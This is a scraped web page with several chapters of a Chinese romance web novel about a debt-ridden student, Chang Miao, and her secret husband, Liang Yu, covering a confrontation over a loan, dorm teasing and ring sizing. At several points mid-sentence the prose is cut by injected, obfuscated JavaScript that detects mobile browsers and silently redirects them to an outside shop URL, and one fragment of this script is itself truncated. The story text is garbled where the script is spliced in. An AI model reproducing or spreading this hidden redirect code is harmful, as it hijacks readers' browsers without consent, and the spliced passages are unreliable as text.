梁嵛毫不留情地逮一句呛一句，何菲受不了了，她怒视着梁嵛，连带着把常妙一块算了进去，语气不善，“常妙，我算看出来了，你今天根本不是请我吃什么饭，其实是找人来逼我的是吗？” 常妙一下子攥紧双手，忙解释，“我不是逼你！” 何菲冷笑，“你带着人来不是逼我是什么，没有按时给你还钱是我不对，但是你也用不着这样吧？我家里的状况你知道，每个月的生活费就那么点，省都省不下来，结果你现在还这样，真是没想到……” “没想到你们之间的感情这么脆弱。” 梁嵛又非常自如地插进来了。 何菲：“？” 常妙：“(⊙⊙)？” “既然是朋友，你应该也知道常妙现在是什么情况吧，她家的情况可比你家的惨多了。身上背着几百万的债，每天天不亮就要爬起来打工，晚上好不容易下班回来学校大门锁了只能翻墙进来，渴了不敢买水，饿了天天只能冲包芝麻糊当正餐，你看看你们俩，个子差不多高，她身上都没肉了。” 梁嵛说着，掐了掐常妙的脸蛋以示证明，只是在碰到常妙脸颊的时候，他的手突然顿了下，然后悄然放松了力度，曲起的食指几乎是在常妙的脸上滑了下，一点肉没捏起来。 常妙：“……” 何菲张了张嘴，还想坚持道：“可我看你们关系不一般，既然如此，你可以先借她啊。” 常妙下意识心虚，把头歪向一边，却不知怎么和梁嵛对上了眼，两人眼神交汇，就见他淡定转头，“是不大一般，但我还没追上，不想提前给她花钱。” “？？？你也太抠了吧！” 何菲这辈子就没见过梁嵛这样的人，她有些崩溃，僵持半天，见常妙始终无动于衷，一点都不帮着她，没办法，干脆怨声说：“行，我给你还，从今天起，只要我卡里有钱，我全部转给你，我每天不吃不喝也给你把这钱还上行了吧！” 说完，她眼睛不禁泪盈盈的，看着好像被人欺负了一样，奶茶店里也不止他们一桌人，听到女生哭腔，忍不住都朝这边扫来几眼。 这话就有点不讲理了，明明当初是她借钱给她救急，怎么现在好像成了恶人一样。 常妙心中难免感到不适，一股小火苗往上冒，哪怕自己再不适应这种场合也想鼓起勇气跟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977419|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呛一句，“何菲，你这话说的……” 梁嵛：“说的可以。” 常妙：“。” 梁嵛再次给她拦下，他情绪平稳，看起来完全没被对方的话语影响，甚至在这时候罕见地轻勾了下唇，“谢谢你的理解，那就请你尽快把钱还上吧。” 何菲震惊了，“你说什么？” “不过也不用努力到不吃不喝，我可以给你介绍一家店，你们庆大东门出去不远，有一家卖粥的店，两块钱一大碗，加五毛还能有一盘咸菜，你去试试，你们女生应该可以吃饱。” 何菲：“…………” …… 何菲最后离开奶茶店的步伐多少是有点气急败坏的，一双三厘米的小皮鞋踩出了十厘米的效果，咚咚咚的一会儿就不见人了，常妙不想被其他的客人看热闹，随后不久也离开了。 饭点已经过去，学生吃完饭都回宿舍了，路上人不多，常妙走的很快，梁嵛在她身后保持着落后半步的距离，一开始并没觉得哪里不对，直到两人都快走到了拐弯处，女孩还没回头看他一眼，梁嵛才突然意识到什么。 是生气了吗？ 梁嵛回想自己刚才的表现，正琢磨着哪里没做好，谁知常妙这时突然转了过来，“阿嵛，你也太厉害了吧！！”她声音清脆，眼睛星星似的发亮，很惊喜地看着他。 梁嵛微愣，过了一会儿，不解问她：“厉害？” 常妙点头，“嗯！你居然能直接把还钱这话说出来，我觉得你好厉害！” 今天他简直突破了她对他的认知，谁能告诉她一个斯斯文文的人怎么那么会怼人啊！ “对了，还有，你今天说的那些话全部都是我想说的，以前我问何菲要钱的时候，她经常都是说月底还，到了月底又说自己没钱，然后再一哭诉自己的遭遇，我就实在说不出硬话了。所以你知不知道今天这一口气我可憋了太久了！” 梁嵛迟疑，“我还以为你会怪我把话说得太狠，影响了你们之间的关系。” 常妙笑，“不会，我就是嘴上说不出来，但是心里清楚，就像你刚才在里面说的那些，我现在的情况尽管没有你编的那么惨，但也确实不好过，何菲要是真把我当朋友怎么可能一直装傻不肯还我钱呢。现在这样，就算我少了一个社交负担吧。” 梁嵛看她真的很高兴，不禁也勾了下唇。 几乎从没见过梁嵛笑，常妙望着他，有些稀奇，心情也变得更好了，“啊，还有件事我很好奇。” 梁嵛：“你说。” 常妙指着他的衣服，真诚提问：“你今天为什么穿成这样啊？角色扮演吗？” 为了完成她给他打造的身份，扮成年龄相当的朋友？ “还挺显年轻的。” 常妙给他点了个赞，然后想了想，“不过，感觉好像还是以前的打扮更适合你。” 沉默半晌。 梁嵛沉声，“嗯，那我下回换回来。” - 上周五，餐厅。 收银机子罕见地出了问题，为了感谢等待的客人，在结账完成后，店员特地从身后的架子上拿了一瓶饮料送给了常妙，“先生，您妹妹可真漂亮。” 梁嵛正要离开的身躯一顿。 店员微笑挥手，“欢迎你们下次光临哦~” 9. 第 9 章 当天晚上，常妙就收到了何菲的转账，三千块钱一分不少！ 何菲微信上没有跟她说任何的话，大概是还气着，但是常妙很高兴，点了收款后，飞快点去梁嵛的对话框想跟他说这件事。 常妙：【何菲刚才还我钱了！】 等了一会儿，见梁嵛没回，常妙眨了眨眼，也不急，梁嵛在她眼里就是个深入社会、忙于工作的资深成年人，有时候不能及时回复很正常。 她把手机放在桌上，打算先去洗漱。 去阳台的时候秦羽鹭正好进来，两人互相给对方挤眉弄眼一番，走过时，秦羽鹭突然想起来自己可怜的毕设，连忙叫住常妙，“妙啊！借下你手绘板，我的落在陆依然家了呜呜。” 常妙：“那你去我位子上拿，应该在书架上。” 秦羽鹭：“OK！” 常妙刚才也在做毕设，桌上除了笔记本周围零零散散的还放了好些杂物，秦羽鹭在她的书架上扫了一圈，没见着，想了想，又俯身在她桌面上看了一遍，仍旧一无所获后，正想再去问问常妙，跟前的手机突然亮了屏…… 常妙洗漱完回到房间，里面空空荡荡。 她怔了下。 羽鹭呢？ 常妙以为秦羽鹭可能是跑别的宿舍了，没多在意，然而没走两步，身后就扑上来一个人把她肩膀一搂，完美挟持住。 “哈哈哈！被我逮住了吧！” 秦羽鹭笑得极其张狂，常妙吓了一跳，随后又忍不住被她这种奇奇怪怪的笑声逗笑，“嗯嗯嗯，逮住了逮住了，不过秦女士，你大晚上的精神这么旺盛还玩抓人游戏？” 秦羽鹭勾着常妙的脖子，歪身绕到她面前，挑眉说：“嗯~不是秦女士，是秦先……” “啊不！梁~先~生~” ……梁？ 常妙猛然意识到什么，两眼一瞪，一下脱口而出，“你怎么知道的！！” 秦羽鹭一看她这反应就知道自己没猜错，她们两个处了四年，谁不知道谁啊，常妙平时给人微信备注都是备注全名，不熟的就长一些，简单加上几个字注释着在哪认识的，什么特征，这样她下次再碰见的时候就不会忘，什么时候会给人这样备注了？还加个“先生”~ 不过面对常妙的这个问题，她的底气有些不足了，“我刚才在你位子上找手绘板的时候手机亮了，不小心看到的……” 常妙长出一口气，还好还好，她还以为暴露的彻底呢，一个“梁先生”总有解释的空间吧？ “如果我说，这是找我画稿的一个老板你信吗？”她扬起希望的微笑。 秦羽鹭眯眼，转瞬气势又回来了，“你说呢？” “坦白从宽，抗拒从严，老实交代！你是不是交男朋友了？” 常妙眨巴眼沉默两秒，顺杆下来，“嗯。”她乖乖点头。 不管怎么样，总比告诉羽鹭自己还没毕业就突然找了个男人结婚的好。 秦羽鹭一听，还真是啊，她有些没好气地说：“你谈恋爱怎么都不告诉我啊，是不是没把我当朋友？” “不是……”说完，常妙一看秦羽鹭的表情，忙又说，“我不是那个意思！是我，我自己的问题。” 秦羽鹭狐疑，“什么问题？” 反正刚才那一遭下来常妙的脸已经红了，她现在也不怕什么，编了个差不多的理由说：“就是我交的那个男朋友吧，不是咱们学校的，年纪也比我大，已经工作了。所以，我就怕说出来引起什么误会。” 秦羽鹭想了想，觉得是这个理，但是不能否认这种存在社会关系差距的交往确实值得多注意。 “那你们俩什么时候认识的，确定他人品没问题吧？” 常妙：“早就认识啦！就是那会儿还不熟，至于人品，挺好的，对我也挺好的。” 秦羽鹭像是在对她的话进行判断，过了一会儿才出声道：“好吧，不过你还是要注意点，凡事长个心眼儿，他毕竟比你多几年阅历，万一他有什么想法，你这小脑瓜可未必算的过他。” “还有，以后如果受了什么委屈，跟姐们儿说，我帮你对付他！” 常妙答应的爽快，“好，但凡他敢欺负我，我就告诉你，你去帮我锤他！” 秦羽鹭笑了，“那我去锤他了，你呢？” 常妙：“我给你在后方呐喊助威啊！你放心，他挺瘦的，绝对干不过你。” 秦羽鹭笑容马上转无，她心中有些恐慌，“常妙，你可别给我找个丑八怪啊，瘦猴也不要！” 两个小姐妹就着这个话题居然直接聊到了该睡觉的点儿，秦羽鹭本来还打算晚上这点时间弄会儿毕设的，最后也算了。 盖被闭眼前，秦羽鹭想找常妙后天陪她去陆依然家取手绘板，一来一回，中间再坐会儿，最多半天时间，常妙有空，想着自己天天憋宿舍也挺难受的，出去见见太阳也好，索性就答应了。 - 陆依然租的房子离她们学校有一段距离，坐地铁都得四五站，她现在大一，课程不少，所以平时其实还是在宿舍多，只有周末了或者有闲心了才会去那边。 常妙上回只是短暂地见了一回陆依然，秦羽鹭路上没事，怕她到时候太生疏，就又跟她聊了些。 总的来说呢，陆依然大概就是个家里很有钱但是长辈严格自己偷偷叛逆的女孩。 她和陆依然第一次见是在酒吧。 “你能想象吗，一个高三的小姑娘快高考了居然跑到酒吧去说自己想驻唱！”秦羽鹭现在想起来都觉得陆依然胆子有点太大了，“还好那家酒吧正规，老板过来一看，哄她要了电话直接叫家长给她接走了。” 常妙听得不可思议，又有些佩服，她高中那会儿进个网吧都像是妖怪洞一样，怕得不得了。 她忍不住猜测道：“那她是喜欢唱歌是吗，现在成年了，有再去试试吗？” 秦羽鹭一瞥常妙，噗地轻笑，“什么呀，她才不是喜欢唱歌，她纯粹是为了叛逆，反抗家长。” 常妙：“啊？” 说话间，两人已经到了陆依然住的小区里，秦羽鹭下地铁的时候就提前给陆依然打了电话，等到了门口，按门铃，出来开门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977420|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的果不其然还是一张睡眼惺忪的脸。 “你们来啦。”陆依然揉揉眼睛，把门口让开，“我这没那么多拖鞋，你们直接进来就行。” 秦羽鹭明知故问，“你不会是在我敲门的时候才起来的吧？” 陆依然关门，跟在她们俩屁股后头再次瘫倒在沙发上，“没办法嘛，我昨天，啊不，今天，凌晨四点才睡！” 秦羽鹭惊讶，“四点？你做什么呢那么晚。” 陆依然：“追剧……” 秦羽鹭侧眸无语看她，“年纪轻轻的别老熬夜，懂不懂养生？” “年轻不熬，老了不就熬不动了？”陆依然不认同，试图寻找知己，“你说是吧？常妙姐。” 常妙点头，笑着说：“是啊，这时候多熬点，老了可不就没机会熬了。” 顺口溜一样的对话，陆依然这会儿脑子宕机，理解了半天常妙的话，也没懂她到底是什么意思，但感觉一定不是她表达的那个意思！ 秦羽鹭在她发呆的时间里已经把手绘板取了出来准备放进包里，陆依然见状，忙往两人那边挪了挪，“你们不会这就走了吧，中午留下来吃饭呗，我请客，点外卖！” 秦羽鹭：“你不再睡个回笼觉了？” 陆依然炸着自己的一头绿毛坐直，眼睛迸发出灼灼的光来，“不睡了，有什么好睡的，年轻人不需要睡那么多觉！” 陆依然说完就跑去房间把自己的手机拿出来开始浏览外卖软件，行动力之快，让常妙将卡在嗓子眼里的话又憋了回去。 秦羽鹭见她一直欲言又止地瞅着陆依然，想到什么，勾肩将人搂过来小声说：“没事，她就是寂寞了，想找人陪，你就当陪小孩子吃饭吧！” 正说着，斜对面沙发上的“小孩子”突然盯着手机很嫌弃地皱起了眉。 “怎么了？”秦羽鹭悠闲问。 陆依然挠头，“我哥突然说要过来。” “你哥？” 秦羽鹭神色微怔，放在常妙肩膀上的手蜷了下，“他有说什么时候来吗？” “好像快到了吧。”陆依然怕两人误会，立刻补充道，“没事，他就过来给我送个东西，很快就走。” 常妙自是感觉没差，已经要让人家小孩子请吃饭了，多一个哥哥分走一些饭还能降低点负罪感呢，至于认不认识的，只要羽鹭在，那她就…… “要不咱们中午还是做饭吃吧，我去买菜！”秦羽鹭突然出声说。 陆依然惊喜，“那也行啊，省的我点外卖，我想吃你做的辣子鸡丁！” 欸？ 怎么突然……常妙想说那她一起去好了，正好分担一些餐费，陆依然却快她一步，“我跟你一起去吧！” “那不行，你走了你哥再来了怎么办，常妙应付不来的。”秦羽鹭说话间已经站了起来。 常妙仰头看她，心说是的呀，她应付不来的，陆依然得留下，买菜还是要她去，然而她蠢蠢欲动的小手还没举起来，就听秦羽鹭迅速安排道：“妙妙，你就在这待着吧，超市不远，我自己去就行了，很快回来！” 10. 第 10 章 秦羽鹭风风火火的，撂下话人就走了，走之前，还不忘指挥陆依然赶紧去洗漱，她一去一回快得很，别拖到她回来饭都做完了，脸还没洗完。 陆依然嘴上没说过，但她一直把秦羽鹭当姐姐的，被按头下了命令，她只好暂时克服一下自己的拖延症。 “常妙姐，那我就先去洗漱了，你要是闲得无聊可以去那个房间看看。”陆依然指了指她卧室斜对面的小房间。 常妙看过去，“那有什么吗？” 陆依然得意地晃了晃脑袋，卖关子说：“全是我的宝贝！你自己去看，然后选几顶出来，待会儿我给你拍照！” 常妙带着好奇进去了，进去的同时也立刻明白陆依然指的是什么了。 整整一面墙，全是各种各样的假发！ 当然，超过一半都是彩色的，并且底下的柜子上还放了一排假发片，有常规色，也有彩色，应该是做挑染的那种。 虽然很夸张，但确实挺有意思的，她想近距离再看看，门口这时却响起了门铃声。 是陆依然哥哥吗？ “来了来了，稍等一下啊！” 常妙一下子有点紧张起来，她连忙转身往门口走，走到一半又想起来陆依然，扭头朝卫生间的方向喊了一声，然后才急匆匆过去打开门，“您好，我……” 余下的话在看到熟悉的那张脸时全部没了音儿。 短暂的一瞬寂静。 “砰！” 大门被常妙重重关上了！ 她动作太急太快，关门的声音好像人生气时摔门一样，动静巨大，把常妙自己也吓了一跳，怕人误会自己是故意的，不及多想，她忙扒着扶手又重新打开。 门外的男人还在原地站着，镜下的眸子因为反光看得不大清楚，只是下颌低着，让常妙知道他应该是在看她。 常妙揪着裤缝，对他歉意地笑了下，“哈，你怎么在这？” 梁嵛抬了抬手里的两个大袋子，“给人送东西。” 常妙一愣，联想到什么，有些不可思议。 他不会就是陆依然的哥哥吧？可她没听说他还有亲戚啊。 梁嵛：“陆依然是我朋友的妹妹，他今天有事，临时找我过来的。” 常妙抬头，诧异他的解惑，梁嵛却紧跟着又说了句，“我半个小时前给你发过信息。” 常妙居然理解了他的意思，梁嵛大概是出门前又给她“报备”过，但是她自从下了地铁就没看过手机，自然不知道。 “那你和陆依然是认识的呀？”常妙不免想起两人第一次见面的时候，作案过程可全被他看见了，“之前讲座我替她去的，你怎么没拆穿我？” 梁嵛：“拆穿你做什么，她都成年了，不听我也不能逼她。” 常妙轻笑下，身后这时传来脚步声，陆依然不知道什么时候从卫生间出来了，“你们都站在门口做什么，进来呀。” 她说着，越过常妙眯眼看了看门外的人，有些惊奇道：“梁嵛？怎么是你啊，不是我哥来吗？” 梁嵛视线扫过面前陡然紧张起来的女孩，淡声说：“他说公司有点事过不来。” 陆依然哼了一声，“谁信，肯定是找漂亮姑娘玩去了吧。” 说话间，常妙已然让开了路等梁嵛进来，梁嵛侧身迈步，路过常妙的时候，有一道极小又不容忽视的力道将他的衣服朝后扯了下。 女孩声音很轻，很怂，很霸道，“别说认识我啊！！！” 梁嵛顿了下，垂眼，没吭声。 “把东西放这就行。” 梁嵛一走，方才被挡住的常妙一下子露了出来，陆依然这人还算细心的，发觉常妙表情不大自在，立刻上前揽住她的胳膊说：“你不用紧张，他是我哥的好朋友，长得是没我亲哥面善，但是挺好说话的。你们之前应该也见过面吧？” 常妙：“没有！！” 话出口常妙就傻了，这是她和梁嵛第一次一起遇见一个共同认识的人，她太紧张了，否定得太着急，结果现在听起来反而显得奇怪。 陆依然果然面露疑色，“不是，那回你替我去听讲座，你们不就见过吗，虽然没说上话……” 常妙脸上已经开始飘红，但她仍旧坚持，“那应该是我忘了，我这人脸盲，没记住哈哈。” 陆依然眨了眨眼，没再说什么，转头又问梁嵛，“那你总记得吧？我那个位置应该在第一排，还是那么显眼的粉头发。” 一秒，两秒…… 梁嵛不知道为什么一直没有说话，常妙本来就心虚，这一下心更是提到了嗓子眼，怕他不配合，往后退了半步，拼命给梁嵛使眼色。 梁嵛从来就没见过她有这么丰富的表情，他几不可见地叹了一口气，终于道：“不记得。” 哈？他那个变态的记忆力还能不记得？她初中时候借他两块钱买了块橡皮他都能记得好不好！ 陆依然毫不客气地讽刺，“是吗？你是真不记得，还是年纪大了眼神不好没看出来啊！” 陆依然这话哪个都不是好的，梁嵛选择性地回复了一个，“我度数没有那么高，而且，我还不老。” 话音落，陆依然噗嗤就笑了，她拉着常妙一起到沙发上坐下，忍俊不禁道：“你现在怎么还在乎起年纪来了？哦对，你好像一直想结婚来着，有碰着合适的吗？” 她说完，脑子里似有若无地反应出来什么，嘴比脑子快，顺手就指了常妙，半开玩笑地试探道：“那你看我这个朋友怎么样？” 梁嵛闻言还真看了常妙一眼，像是在考虑。 常妙如坐针毡，忙按住陆依然的爪子说：“我有男朋友了！” 梁嵛挑眉。 陆依然在她旁边瞪大眼睛，“啊？你什么时候谈的呀，长什么样子？” 常妙努力忽视掉梁嵛的目光，专注盯着陆依然说：“我们刚在一起不久。他就……嗯，挺高的，挺帅的，对我也很好。” 梁嵛敛下眼睫，神情不知不觉柔和了些。 “那有没有照片呀，我能看下吗？” 陆依然见她犹豫，又晃晃常妙的胳膊给她撒娇，“看一下嘛好不好，常妙姐~” 常妙这人属实是吃软不吃硬，还不会拒绝人，她被陆依然缠得没办法，摸了摸口袋，掏出手机，屏幕亮起的一瞬间突然想起什么慌忙捂住手机，鬼鬼祟祟地一番操作后，才把手机给了陆依然。 “就是这个，你看吧。” 常妙给陆依然看的是一张背影照，拍的不好，背景有些杂乱，像是她们学校附近的哪，整张照片里只有画面里的那个男人还算能看，虽然没有正脸，但看身材高高瘦瘦的，长腿窄腰，比例不错，无端地给闹市里添了氛围感。 “没有正脸照吗姐姐？”陆依然觉得自己的好奇心并没有被满足。 常妙坚定摇头，“没有！” 陆依然又研究了一番，然后把手机屏幕翻过去往梁嵛眼前一摆，“你看，还挺帅的吧？” 刚才常妙找照片的时候梁嵛就在看她，印象里，两个人除了那张结婚登记照就没有拍过照片。 已知，常妙并不愿意告诉其他人他们的婚姻关系，甚至还编出来了一个男朋友的身份，所以梁嵛自然而然就认为常妙找的这个照片可能是网上随便找的，但是当他看到那身熟悉又陌生的天蓝色衬衫时，他难得愣了一下。 梁嵛目光投向常妙，疑惑中又有一丝莫名的情绪，常妙猝不及防和他对视，偏这会儿又不方便解释，只得扒拉着陆依然把手机拿了回来。 陆依然可不好打发，手机给了，还有一堆问题等着问，幸好梁嵛这时打了茬，说他下午有事，不能久待，让她赶紧去拿要给陆宗序的东西，陆依然这才不情不愿地离开，进了卧室。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977421|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 客厅骤然安静下来，不算大的沙发被两人各占一头，完美诠释了两人现在“不熟”的关系，但常妙现在破天荒地很想和梁嵛说话。 偷拍的那张照片……那天就是好不容易在何菲那扳回一城心情好，送他走的时候突发奇想顺手照了那么一张而已，都结婚了，他不会那么小气吧？ 常妙身子朝梁嵛那边偏了偏，想趁没人的时候跟他说道说道，免得两人出现什么龃龉，但梁嵛意外地先跟她开了口，“什么时候有时间再跟我出去一趟？” 常妙摸不准他有没有介意，主动凑过去，小声问：“去干嘛？” 梁嵛睨向她，“买戒指。” 常妙：“。” “你不想去？”梁嵛看出了她的难色。 “我不是那个意思。” 哪有拿了人家好处什么都不愿意配合的呢，只不过……常妙非常抱歉地说：“我现在基本都在学校，不方便戴婚戒。” 梁嵛沉默，两人领证那天其实常妙跟他说过，希望暂时保密这份关系，因为害怕传到她妈妈的耳朵里，让长辈担心。 鉴于两人这婚结的确实是不纯粹，梁嵛可以理解，所以当时同意了，而现在该配合的他也应该做到。 过了一会儿，他似是妥协，低声说：“伸手。” 常妙观察他神色，没发现什么异常，才挪了挪屁股，将手递给了他。 “戒指可以暂时不戴，但是作为婚姻的一部分，必须要有。” 梁嵛说话的同时朝她这边倾过身来，清隽的脊背微躬，领口规整地包裹着脖颈，没有因他的动作露出半分不正经的颜色来，常妙的手被他的五指包裹，莫名小了一大圈，感觉到无名指被左右揉捏，她本能后缩，却被对方敏捷抓住。 梁嵛：“别动，我量下指围。” 常妙睁大眼，指围还能这么量？ 女孩眼底的惊讶根本不需要猜，梁嵛说：“我理科的，又学的精密仪器，对于尺寸这些还是有把握的。” 常妙感叹，“你好厉害。” 梁嵛抬眼，看了她片刻，蓦地笑了，很轻、很浅的一点，但放到这张正经到可以去当教导主任的脸上，也算沾到光，多了些平易近人的亲和力。 “你好像很喜欢夸人？”他说。 他们见面没几次，他已经被夸了两三回了，还有微信上，他们聊天类的交流不多，多数都是在给对方说今天发生了什么事，甚至简单到“我上班去了”“我下课了”，但就这样的对话内容上，常妙时不时地都会给他一些正向反馈。 常妙摸了摸耳后，“还好吧，不过你不觉得身边常有人夸夸你心情会很好吗？” 梁嵛回忆，这些年说实话，学业、工作，他受到过的嘉奖有很多，但除了有奖金的赛事外，其他真的没有太大感觉。 做好了说明他现在的方向是对的，可以继续，做的不好那就还得想办法改正，怎么都跟心情谈不上关系，而常妙…… 他看着面前的这个姑娘，她对他表示赞叹的都是一些生活中很小的事，如果要跟他从前所获得的那些成就相比可以说是无足轻重，但真实体会中，不得不说确实会有一种不一样的情绪在。 梁嵛点了头，常妙也笑起来，然而这时，陆依然大咧咧地出来了，“行了行了，找到了，代我祝他早日追到新女朋友啊。” 客厅里的两人皆是一僵，千钧一发之际，常妙把梁嵛往边上狠狠一推，同时自己蹬腿后撤，规矩坐好。 于是陆依然出来时看到的便是一幅梁嵛栽倒在地而常妙不理不睬的画面，她的脚步没再往前，狐疑地问：“你们俩干啥呢？” 常妙目不斜视地指了指，“他摔倒了。” 嗯，她看见了，摔倒了。 陆依然提出自己的疑问，“……所以，你不扶一下老人家吗？” 梁嵛：“……” 11. 第 11 章 离开陆依然家的那天，常妙很有自知之明地确信，自己这一天的努力伪装一定是抓瞎了，但不知道为什么，陆依然后面居然没再跟她提梁嵛，原本以她的性子，常妙还以为会被逮住盘问一番呢。 梁嵛做事的确贯穿一个速战速决，常妙被秦羽鹭她们拖去了逛街，他就自己去看戒指，傍晚时给常妙发来消息，是一长串婚戒的款式图。 彼时，秦羽鹭和陆依然正在试衣服，她快速浏览一番，选了第二个。 样式是素了点，但她还挺喜欢，毕竟婚戒这种以后会长期佩戴的，还是简单点好，不会过时。 梁嵛：【嗯，那我就定这个了，加上刻名字，下周才能取。不过我后面几天要去京市出趟差，到时候不一定能回来，方便的话，你能来取下吗？】 常妙当然同意：【可以的，你把店铺地址发给我就行，我去取。】 - 下了好几天的雨，天色一直阴沉沉的不见晴，温度也降了下来，常妙回家的几天干脆也不出门了，除了吃饭休息，就是窝在床上画图。 直到月底秦羽鹭生日，她才把自己仔细收拾了一番，准备好好陪秦羽鹭庆祝一下。 已经是晚饭的点，方沉兰切好了菜就等方程南回来再炒，租的屋子没有客厅，只有走廊连通厨房一块较大的空间放了饭桌充当了客厅，方沉兰坐在桌子边算钱，马上又要到还款的日子了，她得提前把钱预留出来。 常妙撑在她椅背上探头，“怎么样，生活费还够吗？” 方沉兰顿了下，在纸上写下一个数字，未免自己忘掉，然后才转头跟常妙说：“够，怎么不够，你妈我现在可会省钱了！” 常妙见她说话时兴奋的模样，忍不住笑，“怎么省？我听听看。” 方沉兰像是终于找到了炫耀对象，还真给她说了起来，“首先你看啊，这个软件，楼下王阿姨教我的，每天刷视频就能赚钱！我还是新用户，这俩月话费有了！” “？” 常妙连忙接过手机仔细看了眼。 还行，是正经大厂的，估计是专门搞营销广告弄的。 “还有这个。”方沉兰继续跟她介绍，“走路赚钱，我现在每天早上出去转一圈，有钱，还能锻炼身体！” “这个，听小说赚钱。” “啊，这个，这个也是刷视频赚钱。” “妈妈诶。”常妙目瞪口呆，“你都从哪发现这些软件的啊……” 方沉兰：“楼下王阿姨张大姐李奶奶教的呗，还不止这些，我有时候晚上出去还会买那种扒堆菜。” 常妙：“扒堆菜？” 方沉兰露出神秘的样子，笑吟吟地给她解释，“就是那种白天没卖完，放明天又不好卖的，到了晚上小贩干脆就弄成一堆一堆的冲销量，两块钱一大袋子呢，蔫是蔫了点，但咱们基本第二天就吃了，一点不影响。” 常妙讶然看着方沉兰，她侃侃而谈着生活里最普通的小事，许多她以前根本不会接触到的琐碎家常，一时间，她居然很难再将眼前的这个人跟过去养尊处优的方女士放在一起。 “妈，你觉得现在这样累吗？” 她突然想问。 方沉兰怪异地瞅她一眼，“累是当然的，怎么可能不累，不过我觉得现在这种日子也不算太差。咱们一家人在一起，有困难我也能帮上忙，我感觉自己还挺有价值的。”她脸上带笑，“而且你知道吗，咱们只要能保持现在的状态，债款五年左右差不多就能还清了，到时候你27岁，正好到谈婚论嫁的年纪，你可以大胆地去谈个男朋友，妈妈跟舅舅也可以给你攒嫁妆了！” 常妙摸了摸鼻子，没敢接这茬。 27……等到27岁她都快能离婚了吧。 方沉兰只以为她是害羞，又想着她确实还小，不着急，索性略过这个话题，说：“对了，咱们还得感谢一下你那个朋友。” “朋友？”常妙一时没反应过来她说的是谁。 方沉兰：“就是你那个给咱们借了二十万的朋友啊，要不是他，咱们可真过不去这关，回头你找时间把人请到家里来，咱们好歹请人家吃顿家常饭，表示一下谢意。” 常妙轻吸一口气，含糊说：“嗯……行啊，等他有时间吧。” 生怕说多错多，常妙这时很想走为上计了，她看了眼手机，发出惊呼，“呀，到点了，羽鹭在催我呢，我得先走了啊妈！” 说完就飞速扭身去门口穿鞋，方沉兰看她急吼吼的，也没再留她，“那你慢点，路上注意安全！” “知道啦！” - 秦羽鹭今年过生日的地点选在了酒吧，说是快毕业了，两个人正好趁这个机会狂欢一下，等到结束，她再去外面的酒店开个房，点上一桌外卖，姐妹两个一醉方休，熬他个通宵！ 反正今天过去后就开始放五一假了，他们大四没课，可以连休五天，足够恢复元气了。 秦羽鹭电话里跟她商量这个计划的时候，听声音就知道她当时的表情一定是眉飞色舞的，常妙也觉得很尽兴，只不过既然是过生日，还是得有一个生日蛋糕才行。 去酒吧的路上，她特意去了秦羽鹭平时挺喜欢的一家甜品店，买了个两人份的小蛋糕，巧克力水果的，店家又附赠了一张小卡片，常妙写了句祝福语上去，压在了蛋糕盒的底下。 “妙妙！”秦羽鹭在酒吧门口站了没两分钟就看见了常妙，她叫了声她， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977422|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等人走过来，目光不由就聚集到了那个蛋糕盒上。 “你这不会是给我买的吧？”她故意左右端详着。 常妙没好气地打了下她胳膊，“不是给你的那还是给谁！” 秦羽鹭一下笑开了，“哈哈哈，诶唷，我的宝贝儿啊，还是你对我好，你就是那种有一块钱就给我九毛的好对象！你说你要是个男的多好，我就干干脆脆地把我下半辈子交给你了。” 常妙跟她打趣，“女的也行，我不介意。” 秦羽鹭挑眉，“我介意……” 常妙：“……” 她们约的时间还是有点早了，七点半，酒吧才刚刚开门，里面的顾客零零散散的，驻唱台上的歌手调试着吉他，时不时地还跟旁边的同事闲聊几句，架在头顶的音响播放着抒情的慢摇滚，声音巨大，倒是也有了午夜场那味儿。 常妙和秦羽鹭在吧台找了个角落坐下，两人边喝边聊，一眨眼四五瓶啤酒就见了底，偏偏两姑娘谁也没看出来醉，偶尔有人过来搭讪，常妙还会主动跟人家干杯，然后转头就骂了句滚蛋。 